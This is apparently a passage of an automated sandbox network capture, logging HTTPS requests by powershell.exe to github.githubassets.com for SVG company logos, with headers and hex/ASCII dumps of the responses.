2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 7f 09 d1 fc 5f 0a 96 89 8c 87 9e d0 48 84 85 4f 85 27 f8 39 c2 e3 35 a6 15 51 93 cc d6 e7 2e e7 33 c0 5f d5 7c 55 6e 1f b6 16 46 c6 e2 0a 72 47 b1 63 34 d3 19 b8 f1 a9 44 8b 4d d6 6e 90 e8 8a 07 a6 9e 90 f5 5b a7 95 a5 7b 09 f7 c6 aa 3b 93 48 eb 73 0b 1f f6 9f e0 64 39 ea 57 a9 a7 6c e7 8c 25 7b 3e a6 34 a6 65 2e 6e b6 5e 16 ea a0 8f 16 32 06 de c6 6b 43 af 57 d5 29 9d f9 c6 20 12 e6 ce e5 94 31 7b 34 70 fb b7 f2 04 e8 33 a4 3f 89 46 0a 21 c7 70 8f ce 04 b8 9d 45 9e 6f 9f f5 78 bb 92 4e 76 8a e8 ea d5 3d 40 51 22 3d 54 3e 9d 34 53 98 54 9e 6a 37 be ac f0 64 86 5c 40 1a f8 b0 8e ec a1 2e 40 1d ea e7 e2 6a da 5a 1c 9c fa 3d e2 67 87 97 61 a2 52 c0 d3 5e 1d 55 75 e5 e0 eb a9 3a 14 ca 79 5b 3d 97 9f e1 26 e4 24 71 e8 17 81 d1 9e 41 e8 ed 39 24 e1 1e cd 94 e3 Data Ascii: _HO'95Q.3_\|UnFrGc4DMn[{;Hsd9Wl%{>4e.n^2kCW) 1{4p3?F!pEoxNv=@Q"=T>4STj7d\@.@jZ=gaR^Uu:y[=&$qA9$
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 41 a0 e0 30 51 9e b2 be 40 bd a1 21 4f 36 43 59 8e 23 e9 59 5a 2c 4a a4 2e 86 06 21 c9 ba b6 f2 28 7d 77 88 1e 75 f0 bf 93 97 0e 0f 7d b1 fa 3b 0f 71 47 71 d6 ab 57 e2 ba 4b 02 58 c7 e4 76 ab 65 fd 9c ce 24 ab 60 90 77 45 0f 12 c1 ca cc 6c 96 e9 4c 47 4a 85 6b c2 40 7a e6 66 d8 f6 61 1b 99 28 dc d0 62 96 3b c0 fd c3 f9 1c 63 d2 61 08 84 2a 67 11 0d 80 ef b5 d3 c6 37 d6 3c 41 5d e4 12 6a 47 9c 59 e2 64 b7 31 fd f1 cf 9b 6e e7 61 12 79 4f ca b4 b1 33 70 e7 6b d7 21 f1 ee 82 bf af 4f 96 2a 9a ac 25 f0 f4 de cb 5a eb 52 3e 41 57 0a 73 8a 4a dd 33 4e 45 bc b4 d9 d5 75 ed 20 8c 7b 85 22 54 09 95 29 e3 4d 86 a6 87 e7 05 2e 1a 2d fb 49 af d6 08 0b 41 5d 8e 5a 28 42 ad d1 63 21 c1 7d b3 04 37 5f 81 cc 0e 32 9a fe 73 14 e3 ae 83 70 08 56 9e 00 04 ff 52 1f 05 17 6c Data Ascii: A0Q@!O6CY#YZ,J.!(}wu};qGqWKXve$`wElLGJk@zfa(b;cag7<A]jGYd1nayO3pk!O%ZR>AWsJ3NEu {"T)M.-IA]Z(Bc!}7_2spVRl
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 31 72 63 43 c6 47 57 b5 3f 79 07 11 9e e1 7b 38 2f 6c 09 c6 3f bf 7d 6c 9d 20 f5 49 18 16 8a 85 f7 7e 41 56 e9 04 e8 1c 27 6a 8a 3a ca ad 88 67 7c d4 db ef 90 b6 32 c2 4f 64 97 c3 cb 2c a1 4e 28 00 83 b4 e4 a9 6d c2 7d b2 0f 67 6c 37 8c c5 e3 41 80 c6 21 ff c8 8d 89 23 4f 6f 32 c1 aa a8 d6 1e 77 f0 52 d5 32 33 8a e6 19 76 77 14 77 6c 08 80 50 61 a6 af 59 20 5f 8a 05 07 ef aa 6f a7 67 72 db 41 9e 40 d2 d3 88 d2 f9 7e 18 75 02 5f c5 a0 e5 d9 79 53 66 5d f1 01 41 b2 c8 37 11 18 79 2c 92 e8 96 81 86 e3 1d b1 40 e1 26 cc 44 8c 45 e0 16 9c 7c b8 a7 ac cc 31 1a 8a 16 70 f9 62 6d fc 2b 88 13 3e d0 9f 38 17 03 26 dd 14 22 86 03 3e ef 94 c8 91 9c 64 e1 51 f9 f2 26 df 8a c7 3d e4 48 c9 58 2c af 5d 65 74 c5 6e f2 32 62 9c 29 b7 59 9b 4b ae 37 66 4a 65 27 80 8b 05 c4 Data Ascii: 1rcCGW?y{8/l?}l I~AV'j:g\|2Od,N(m}gl7A!#Oo2wR23vwwlPaY _ogrA@~u_ySf]A7y,@&DE\|1pbm+>8&">dQ&=HX,]etn2b)YK7fJe'
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: a2 43 c3 88 b5 67 41 37 c5 de 12 0f 73 3e cc 3a 0e b7 de be 88 b3 d6 bc e4 d9 06 07 5b e7 18 72 55 da bb c4 68 c5 f3 72 a0 7a aa 3d 97 ea 38 52 d5 8a d7 0b 64 e4 4e b6 3d df b9 6d 91 04 29 4a 7d d3 74 6f 57 31 59 bb 80 da 1d f4 5e 3e 0e ab f1 99 82 a9 f1 28 dd 2c 9f 18 7c 17 ff e1 91 76 1f 58 b4 56 e4 0d 29 bf 9f b4 39 cf 51 ce 49 36 52 d2 77 ca 4b 64 a6 ef e6 2c f0 a5 ca d6 df 37 03 ac f9 3a 50 9c 99 d5 41 c1 3e a2 9e 5f 4d 38 7e 64 36 e6 5a 03 4e 59 66 b1 bd e0 80 5c 03 f3 1b 7a 44 7a be 2e 7e 2f 37 61 0c 2e 57 80 51 9a 6d 09 74 ea ca 61 20 31 e5 70 cd 0b b9 66 1d e0 fd b4 e3 3f 6c bd 91 78 8d 31 a5 3f 01 e7 99 3a 58 54 e4 0d 5a 06 13 2e 95 4e c4 30 4f 02 67 8c ed 2d 06 0f f2 ac 1c a9 6f 2f fb 4f 7b 99 b6 7f c4 75 a7 24 73 ae 2e 07 0d 3d fa 4c 94 90 10 Data Ascii: CgA7s>:[rUhrz=8RdN=m)J}toW1Y^>(,\|vXV)9QI6RwKd,7:PA>_M8~d6ZNYf\zDz.~/7a.WQmta 1pf?lx1?:XTZ.N0Og-o/O{u$s.=L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49784	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:43 UTC	353	OUT	GET /assets/3m-0151c2fda0ce.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:43 UTC	666	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1043 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Wed, 25 Oct 2023 15:44:25 GMT ETag: 0x8DBD57144584E52 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:43 GMT Age: 3562515 X-Served-By: cache-iad-kcgs7200056-IAD, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 27081, 979 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 1cd4b5bc4b1cc31943a212ca9181eca5cca7ae61
2024-09-30 13:50:43 UTC	1043	IN	Data Raw: 3c 73 76 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 31 20 34 38 22 20 77 69 64 74 68 3d 22 36 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 0a 20 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 30 20 30 68 36 30 2e 32 30 39 39 76 34 38 68 2d 36 30 2e 32 30 39 39 7a 22 20 2f 3e 0a 20 20 3c 2f 63 6c 69 70 50 61 74 68 3e 0a 20 20 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 0a 20 20 20 20 3c 70 61 74 68 0a 20 Data Ascii: <svg fill="none" height="48" viewBox="0 0 61 48" width="61" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <clipPath id="a"> <path d="m0 0h60.2099v48h-60.2099z" /> </clipPath> <g clip-path="url(#a)"> <path

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49785	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:43 UTC	355	OUT	GET /assets/kpmg-c249f20c5173.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:43 UTC	666	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2777 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 19 Oct 2023 22:56:26 GMT ETag: 0x8DBD0F69FDA2986 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:43 GMT Age: 3488467 X-Served-By: cache-iad-kcgs7200032-IAD, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 2305, 4066 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7837e88542505169df7ecc9e0b84d1bf51640bc3
2024-09-30 13:50:43 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 34 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 20 34 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 63 6c 69 70 30 5f 38 32 32 5f 36 38 37 36 34 29 22 3e 0a 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 30 5f 38 32 32 5f 36 38 37 36 34 22 20 73 74 79 6c 65 3d 22 6d 61 73 6b 2d 74 79 70 65 3a 61 6c 70 68 61 22 20 6d 61 73 6b 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 3d 22 30 22 20 79 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 34 31 22 3e 0a 3c 70 61 74 Data Ascii: <svg width="100" height="41" viewBox="0 0 100 41" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_822_68764)"><mask id="mask0_822_68764" style="mask-type:alpha" maskUnits="userSpaceOnUse" x="0" y="0" width="100" height="41"><pat
2024-09-30 13:50:43 UTC	1378	IN	Data Raw: 37 4c 35 31 2e 31 30 35 37 20 31 38 2e 33 31 37 36 5a 4d 34 37 2e 38 30 37 39 20 33 30 2e 35 39 33 34 4c 34 39 2e 39 38 30 35 20 32 32 2e 39 31 36 37 4c 35 30 2e 30 35 34 37 20 33 30 2e 35 39 33 34 48 34 37 2e 38 30 37 39 5a 4d 33 32 2e 37 39 39 36 20 32 37 2e 36 37 33 38 43 33 32 2e 35 39 38 35 20 32 37 2e 36 37 33 38 20 33 32 2e 33 39 37 35 20 32 37 2e 37 30 31 39 20 33 32 2e 31 36 38 31 20 32 37 2e 37 30 31 39 43 33 31 2e 38 36 34 38 20 32 37 2e 37 30 31 39 20 33 31 2e 36 33 32 20 32 37 2e 37 30 31 39 20 33 31 2e 34 30 39 39 20 32 37 2e 37 30 31 39 48 33 30 2e 30 39 30 37 4c 33 30 2e 37 30 30 38 20 32 35 2e 34 35 33 34 4c 33 30 2e 39 38 36 35 20 32 34 2e 33 33 39 36 4c 33 31 2e 36 39 32 20 32 31 2e 37 32 35 36 48 33 32 2e 35 38 34 34 48 33 33 2e 36 30 Data Ascii: 7L51.1057 18.3176ZM47.8079 30.5934L49.9805 22.9167L50.0547 30.5934H47.8079ZM32.7996 27.6738C32.5985 27.6738 32.3975 27.7019 32.1681 27.7019C31.8648 27.7019 31.632 27.7019 31.4099 27.7019H30.0907L30.7008 25.4534L30.9865 24.3396L31.692 21.7256H32.5844H33.60
2024-09-30 13:50:43 UTC	21	IN	Data Raw: 50 61 74 68 3e 0a 3c 2f 64 65 66 73 3e 0a 3c 2f 73 76 67 3e 0a Data Ascii: Path></defs></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49787	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:44 UTC	354	OUT	GET /assets/sap-96248a56d312.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:44 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2583 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Wed, 25 Oct 2023 15:44:31 GMT ETag: 0x8DBD57147E34473 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:44 GMT Age: 3014421 X-Served-By: cache-iad-kiad7000145-IAD, cache-nyc-kteb1890026-NYC X-Cache: HIT, HIT X-Cache-Hits: 46, 21 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e88331d8e7f60ee7fa1f29f43be67c5677ec1fe7
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 37 32 22 20 68 65 69 67 68 74 3d 22 33 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 32 20 33 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 20 20 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 0a 20 20 20 20 64 3d 22 4d 30 2e 30 36 30 35 34 36 39 20 33 35 2e 37 32 38 38 56 30 2e 33 30 32 39 37 39 48 37 31 2e 36 37 38 37 4c 33 36 2e 32 35 32 39 20 33 35 2e 37 32 38 38 48 30 2e 30 36 30 35 34 36 39 5a 4d 34 31 2e 34 32 32 20 31 37 2e 32 35 31 38 48 34 32 2e 39 37 34 34 43 34 35 2e 30 34 36 38 20 31 37 2e 32 35 31 38 20 34 36 Data Ascii: <svg width="72" height="36" viewBox="0 0 72 36" fill="none" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" clip-rule="evenodd" d="M0.0605469 35.7288V0.302979H71.6787L36.2529 35.7288H0.0605469ZM41.422 17.2518H42.9744C45.0468 17.2518 46
2024-09-30 13:50:44 UTC	1205	IN	Data Raw: 35 2e 33 35 31 37 20 31 32 2e 37 34 35 36 43 31 32 2e 38 36 35 33 20 31 31 2e 35 34 33 35 20 31 31 2e 36 31 32 39 20 31 31 2e 34 32 38 36 20 31 30 2e 31 39 33 20 31 31 2e 33 35 36 39 43 38 2e 30 38 36 32 35 20 31 31 2e 32 34 34 34 20 37 2e 30 31 38 31 33 20 31 31 2e 39 39 37 34 20 37 2e 30 30 32 31 38 20 31 32 2e 38 30 39 35 43 36 2e 39 38 33 38 33 20 31 33 2e 38 30 32 36 20 39 2e 30 30 32 30 31 20 31 34 2e 36 39 39 32 20 31 30 2e 38 39 38 31 20 31 35 2e 33 30 39 35 43 31 33 2e 37 37 34 36 20 31 36 2e 32 32 31 32 20 31 37 2e 34 33 33 37 20 31 37 2e 34 34 34 31 20 31 37 2e 39 38 39 37 20 32 30 2e 39 37 36 33 4c 32 33 2e 32 35 31 33 20 36 2e 39 36 32 33 34 48 32 39 2e 33 35 35 33 4c 33 35 2e 35 31 33 35 20 32 33 2e 37 32 34 34 56 36 2e 39 36 32 33 34 5a 22 Data Ascii: 5.3517 12.7456C12.8653 11.5435 11.6129 11.4286 10.193 11.3569C8.08625 11.2444 7.01813 11.9974 7.00218 12.8095C6.98383 13.8026 9.00201 14.6992 10.8981 15.3095C13.7746 16.2212 17.4337 17.4441 17.9897 20.9763L23.2513 6.96234H29.3553L35.5135 23.7244V6.96234Z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49786	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:44 UTC	359	OUT	GET /assets/mercedes-fcf97d2d6ec4.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:44 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7133 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:00 GMT ETag: "0x8DCB7D59965EC12" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:44 GMT Age: 537943 X-Served-By: cache-iad-kjyo7100021-IAD, cache-nyc-kteb1890059-NYC X-Cache: HIT, HIT X-Cache-Hits: 916, 8 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: b05954376dc30efd3a757e8dbf985374dc062c4f
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 39 36 22 20 68 65 69 67 68 74 3d 22 37 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 38 42 39 34 39 45 22 20 64 3d 22 4d 31 38 38 2e 35 32 20 32 37 2e 31 32 39 63 2d 31 2e 36 38 39 2e 34 34 39 2d 33 2e 32 31 31 2e 37 32 2d 35 2e 31 30 32 2e 39 32 32 76 2e 35 37 35 63 32 2e 31 32 38 20 30 20 32 2e 33 39 39 2e 32 33 38 20 32 2e 33 39 39 20 31 2e 39 39 37 76 35 2e 39 31 33 63 2d 31 2e 32 35 31 2d 32 2e 30 32 38 2d 32 2e 32 33 32 2d 32 2e 36 33 35 2d 34 2e 30 35 35 2d 32 2e 36 33 35 2d 33 2e 36 31 36 20 30 2d 36 2e 31 34 37 20 33 2e 34 31 32 2d 36 2e 31 34 37 20 38 2e 32 38 20 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="296" height="77" fill="none"><path fill="#8B949E" d="M188.52 27.129c-1.689.449-3.211.72-5.102.922v.575c2.128 0 2.399.238 2.399 1.997v5.913c-1.251-2.028-2.232-2.635-4.055-2.635-3.616 0-6.147 3.412-6.147 8.28 0
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 2e 37 36 2d 2e 37 34 35 2d 33 2e 33 31 36 2d 32 2e 30 32 39 2d 34 2e 32 39 35 2d 31 2e 31 34 39 2d 2e 38 34 35 2d 32 2e 34 36 37 2d 31 2e 32 31 38 2d 34 2e 36 36 33 2d 31 2e 32 31 38 68 2d 38 2e 38 38 35 5a 6d 35 2e 36 30 39 20 31 2e 30 35 68 32 2e 38 37 31 63 32 2e 38 33 39 20 30 20 34 2e 30 38 38 20 31 2e 33 38 34 20 34 2e 30 38 38 20 34 2e 35 32 39 20 30 20 31 2e 35 35 34 2d 2e 33 36 39 20 32 2e 36 37 2d 31 2e 31 31 33 20 33 2e 35 34 39 2d 2e 37 34 33 2e 38 34 35 2d 31 2e 36 35 36 20 31 2e 31 31 36 2d 33 2e 35 35 20 31 2e 31 31 36 68 2d 32 2e 32 39 36 56 32 38 2e 35 36 5a 6d 2d 37 37 2e 37 30 35 20 34 2e 38 33 33 2d 2e 39 31 34 20 31 2e 37 32 33 63 2d 31 2e 30 38 31 2d 31 2e 30 34 38 2d 31 2e 39 39 33 2d 31 2e 34 32 2d 33 2e 34 34 35 2d 31 2e 34 32 2d Data Ascii: .76-.745-3.316-2.029-4.295-1.149-.845-2.467-1.218-4.663-1.218h-8.885Zm5.609 1.05h2.871c2.839 0 4.088 1.384 4.088 4.529 0 1.554-.369 2.67-1.113 3.549-.743.845-1.656 1.116-3.55 1.116h-2.296V28.56Zm-77.705 4.833-.914 1.723c-1.081-1.048-1.993-1.42-3.445-1.42-
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 34 2e 30 33 32 20 33 2e 36 38 35 2e 32 30 32 76 2d 2e 36 37 37 63 2d 32 2e 30 36 32 2d 2e 31 2d 32 2e 34 30 32 2d 2e 33 37 32 2d 32 2e 34 30 32 2d 31 2e 38 32 35 76 2d 38 2e 31 31 35 63 30 2d 31 2e 32 38 33 2d 2e 31 36 38 2d 32 2e 32 33 2d 2e 35 30 38 2d 33 2e 30 34 2d 2e 36 37 34 2d 31 2e 36 35 37 2d 32 2e 34 33 31 2d 32 2e 37 30 34 2d 34 2e 34 35 38 2d 32 2e 37 30 34 2d 31 2e 39 35 37 20 30 2d 33 2e 33 34 35 2e 38 31 31 2d 34 2e 35 36 33 20 32 2e 36 33 37 2d 2e 30 36 38 2d 31 2e 32 38 35 2d 2e 31 36 37 2d 32 2e 31 36 33 2d 2e 33 33 36 2d 32 2e 39 34 31 5a 6d 2d 31 33 30 2e 30 32 39 2e 30 36 36 63 2d 31 2e 33 38 37 2e 34 30 35 2d 32 2e 35 33 35 2e 36 31 2d 34 2e 34 36 31 2e 37 37 39 76 2e 36 30 38 68 2e 34 33 39 63 31 2e 37 35 36 2e 30 33 33 20 31 2e 39 Data Ascii: 4.032 3.685.202v-.677c-2.062-.1-2.402-.372-2.402-1.825v-8.115c0-1.283-.168-2.23-.508-3.04-.674-1.657-2.431-2.704-4.458-2.704-1.957 0-3.345.811-4.563 2.637-.068-1.285-.167-2.163-.336-2.941Zm-130.029.066c-1.387.405-2.535.61-4.461.779v.608h.439c1.756.033 1.9
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 35 2e 32 30 35 20 32 2e 35 33 34 20 38 2e 32 35 20 36 2e 38 39 32 20 38 2e 32 35 20 33 2e 33 31 31 20 30 20 35 2e 34 37 33 2d 32 2e 30 36 34 20 35 2e 39 31 33 2d 35 2e 35 34 36 68 2d 31 2e 33 35 33 63 2d 2e 34 30 34 20 32 2e 38 37 34 2d 31 2e 38 38 39 20 34 2e 34 33 2d 34 2e 32 38 36 20 34 2e 34 33 2d 33 2e 30 37 36 20 30 2d 34 2e 34 32 38 2d 32 2e 33 36 35 2d 34 2e 34 36 31 2d 37 2e 36 34 68 31 30 2e 30 36 37 63 2d 2e 30 36 39 2d 35 2e 32 30 35 2d 32 2e 31 39 36 2d 37 2e 39 37 38 2d 36 2e 31 38 33 2d 37 2e 39 37 38 5a 6d 32 37 2e 31 35 39 2e 34 30 35 2d 2e 37 38 31 20 34 2e 33 39 35 68 2e 36 37 39 63 31 2e 32 31 36 2d 33 2e 30 34 32 20 31 2e 37 35 35 2d 33 2e 35 31 36 20 33 2e 39 35 33 2d 33 2e 35 31 36 68 34 2e 31 35 32 6c 2d 39 2e 31 35 34 20 31 35 2e Data Ascii: 5.205 2.534 8.25 6.892 8.25 3.311 0 5.473-2.064 5.913-5.546h-1.353c-.404 2.874-1.889 4.43-4.286 4.43-3.076 0-4.428-2.365-4.461-7.64h10.067c-.069-5.205-2.196-7.978-6.183-7.978Zm27.159.405-.781 4.395h.679c1.216-3.042 1.755-3.516 3.953-3.516h4.152l-9.154 15.
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 31 37 2e 33 6c 2e 38 30 39 2d 2e 32 39 37 63 31 2e 33 36 20 32 2e 32 31 39 20 33 2e 31 33 37 20 34 2e 31 37 20 35 2e 35 32 34 20 36 2e 38 30 37 20 32 2e 39 34 32 20 33 2e 32 33 34 20 31 32 2e 32 34 36 20 39 2e 34 38 20 32 33 2e 38 39 20 39 2e 34 38 61 33 34 2e 34 36 34 20 33 34 2e 34 36 34 20 30 20 30 20 30 20 31 36 2e 38 30 35 2d 34 2e 33 30 35 41 33 34 2e 34 38 37 20 33 34 2e 34 38 37 20 30 20 30 20 30 20 36 37 2e 38 39 34 20 35 37 2e 30 31 63 2e 34 37 2d 2e 31 33 32 2e 36 32 2d 2e 33 33 36 2e 34 36 34 2d 2e 37 34 35 20 32 2e 37 39 39 2d 34 2e 39 33 33 20 34 2e 37 2d 31 31 2e 31 33 20 34 2e 37 2d 31 37 2e 31 38 36 20 30 2d 33 2e 38 31 34 2d 2e 35 36 2d 36 2e 39 31 37 2d 31 2e 34 34 37 2d 39 2e 36 39 61 33 38 2e 32 38 20 33 38 2e 32 38 20 30 20 30 20 30 Data Ascii: 17.3l.809-.297c1.36 2.219 3.137 4.17 5.524 6.807 2.942 3.234 12.246 9.48 23.89 9.48a34.464 34.464 0 0 0 16.805-4.305A34.487 34.487 0 0 0 67.894 57.01c.47-.132.62-.336.464-.745 2.799-4.933 4.7-11.13 4.7-17.186 0-3.814-.56-6.917-1.447-9.69a38.28 38.28 0 0 0
2024-09-30 13:50:44 UTC	243	IN	Data Raw: 37 2d 31 2e 36 35 35 2d 34 2e 31 36 36 2d 32 2e 38 37 2d 38 2e 37 31 31 2d 32 2e 38 37 2d 31 33 2e 34 38 31 20 30 2d 32 30 2e 31 37 38 20 31 36 2e 33 32 32 2d 33 36 2e 35 34 31 20 33 36 2e 35 30 34 2d 33 36 2e 35 34 31 20 31 38 2e 30 32 39 20 30 20 33 32 2e 35 36 33 20 31 32 2e 35 33 20 33 35 2e 36 33 32 20 32 39 2e 33 30 32 2e 30 33 2e 31 34 33 2e 30 33 2e 32 39 20 30 20 2e 34 33 32 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 38 42 39 34 39 45 22 20 64 3d 22 4d 36 30 2e 31 34 37 20 35 31 2e 33 36 33 20 34 30 2e 39 33 32 20 33 38 2e 34 38 6c 2d 31 2e 35 38 2e 39 30 33 4c 36 30 2e 30 35 35 20 35 31 2e 35 31 63 2e 33 36 38 2e 32 31 32 2e 34 34 36 2e 30 38 2e 30 39 32 2d 2e 31 34 37 5a 22 2f 3e 3c 2f 73 76 67 3e 0a Data Ascii: 7-1.655-4.166-2.87-8.711-2.87-13.481 0-20.178 16.322-36.541 36.504-36.541 18.029 0 32.563 12.53 35.632 29.302.03.143.03.29 0 .432Z"/><path fill="#8B949E" d="M60.147 51.363 40.932 38.48l-1.58.903L60.055 51.51c.368.212.446.08.092-.147Z"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49788	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:44 UTC	353	OUT	GET /assets/pg-f1f19955c4e4.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
